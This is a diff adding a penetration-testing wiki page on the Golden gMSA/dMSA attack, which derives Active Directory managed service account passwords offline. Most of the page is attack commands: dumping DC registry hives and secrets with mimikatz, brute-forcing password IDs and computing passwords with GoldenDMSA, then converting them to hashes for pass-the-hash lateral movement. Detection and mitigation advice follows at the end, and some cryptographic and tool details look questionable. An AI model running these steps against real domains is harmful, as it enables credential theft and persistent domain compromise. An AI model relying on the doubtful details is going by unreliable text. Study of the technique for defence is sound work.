|
| 1 | +# Golden gMSA/dMSA Attack (Offline Derivation of Managed Service Account Passwords) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +Windows Managed Service Accounts (MSA) are special principals designed to run services without the need to manually manage their passwords. |
| 8 | +There are two major flavours: |
| 9 | + |
| 10 | +1. **gMSA** – group Managed Service Account – can be used on multiple hosts that are authorised in its `msDS-GroupMSAMembership` attribute. |
| 11 | +2. **dMSA** – delegated Managed Service Account – the (preview) successor to gMSA, relying on the same cryptography but allowing more granular delegation scenarios. |
| 12 | + |
| 13 | +For both variants the **password is not stored** on each Domain Controller (DC) like a regular NT-hash. Instead every DC can **derive** the current password on-the-fly from: |
| 14 | + |
| 15 | +* The forest-wide **KDS Root Key** (`KRBTGT\KDS`) – randomly generated GUID-named secret, replicated to every DC under the `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` container. |
| 16 | +* The target account **SID**. |
| 17 | +* A per-account **ManagedPasswordID** (GUID) found in the `msDS-ManagedPasswordId` attribute. |
| 18 | + |
| 19 | +The derivation is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob finally **base64-encoded** and stored in the `msDS-ManagedPassword` attribute. |
| 20 | +No Kerberos traffic or ___domain interaction is required during normal password usage – a member host derives the password locally as long as it knows the three inputs. |
| 21 | + |
| 22 | +## Golden gMSA / Golden dMSA Attack |
| 23 | + |
| 24 | +If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing: |
| 25 | + |
| 26 | +* Kerberos pre-authentication / ticket request logs |
| 27 | +* LDAP read auditing |
| 28 | +* Password change intervals (they can pre-compute) |
| 29 | + |
| 30 | +This is analogous to a *Golden Ticket* for service accounts. |
| 31 | + |
| 32 | +### Prerequisites |
| 33 | + |
| 34 | +1. **Forest-level compromise** of **one DC** (or Enterprise Admin). `SYSTEM` access is enough. |
| 35 | +2. Ability to enumerate service accounts (LDAP read / RID brute-force). |
| 36 | +3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code. |
| 37 | + |
| 38 | +### Phase 1 – Extract the KDS Root Key |
| 39 | + |
| 40 | +Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets): |
| 41 | + |
| 42 | +```cmd |
| 43 | +reg save HKLM\SECURITY security.hive |
| 44 | +reg save HKLM\SYSTEM system.hive |
| 45 | +
|
| 46 | +# With mimikatz on the DC / offline |
| 47 | +mimikatz # lsadump::secrets |
| 48 | +mimikatz # lsadump::trust /patch # shows KDS root keys too |
| 49 | +``` |
| 50 | +The base64 string labelled `RootKey` (GUID name) is required in later steps. |
| 51 | + |
| 52 | +### Phase 2 – Enumerate gMSA/dMSA objects |
| 53 | + |
| 54 | +Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`: |
| 55 | + |
| 56 | +```powershell |
| 57 | +# Authenticated or anonymous depending on ACLs |
| 58 | +Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ |
| 59 | + Select sAMAccountName,objectSid,msDS-ManagedPasswordId |
| 60 | +``` |
| 61 | + |
| 62 | +[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes: |
| 63 | + |
| 64 | +```powershell |
| 65 | +# LDAP enumeration (kerberos / simple bind) |
| 66 | +GoldendMSA.exe info -d example.local -m ldap |
| 67 | +
|
| 68 | +# RID brute force if anonymous binds are blocked |
| 69 | +GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd |
| 70 | +``` |
| 71 | + |
| 72 | +### Phase 3 – Guess / Discover the ManagedPasswordID (when missing) |
| 73 | + |
| 74 | +Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads. |
| 75 | +Because the GUID is 128-bit, naïve bruteforce is infeasible, but: |
| 76 | + |
| 77 | +1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution). |
| 78 | +2. Followed by 96 random bits. |
| 79 | + |
| 80 | +Therefore a **narrow wordlist per account** (± few hours) is realistic. |
| 81 | + |
| 82 | +```powershell |
| 83 | +GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID> |
| 84 | +``` |
| 85 | +The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID. |
| 86 | + |
| 87 | +### Phase 4 – Offline Password Computation & Conversion |
| 88 | + |
| 89 | +Once the ManagedPasswordID is known, the valid password is one command away: |
| 90 | + |
| 91 | +```powershell |
| 92 | +# derive base64 password |
| 93 | +GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> |
| 94 | +
|
| 95 | +# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket |
| 96 | +GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd> |
| 97 | +``` |
| 98 | +The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**. |
| 99 | + |
| 100 | +## Detection & Mitigation |
| 101 | + |
| 102 | +* Restrict **DC backup and registry hive read** capabilities to Tier-0 administrators. |
| 103 | +* Monitor **Directory Services Restore Mode (DSRM)** or **Volume Shadow Copy** creation on DCs. |
| 104 | +* Audit reads / changes to `CN=Master Root Keys,…` and `userAccountControl` flags of service accounts. |
| 105 | +* Detect unusual **base64 password writes** or sudden service password reuse across hosts. |
| 106 | +* Consider converting high-privilege gMSAs to **classic service accounts** with regular random rotations where Tier-0 isolation is not possible. |
| 107 | + |
| 108 | +## Tooling |
| 109 | + |
| 110 | +* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – reference implementation used in this page. |
| 111 | +* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. |
| 112 | +* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket using derived AES keys. |
| 113 | + |
| 114 | +## References |
| 115 | + |
| 116 | +- [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) |
| 117 | +- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA) |
| 118 | +- [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) |
| 119 | + |
| 120 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments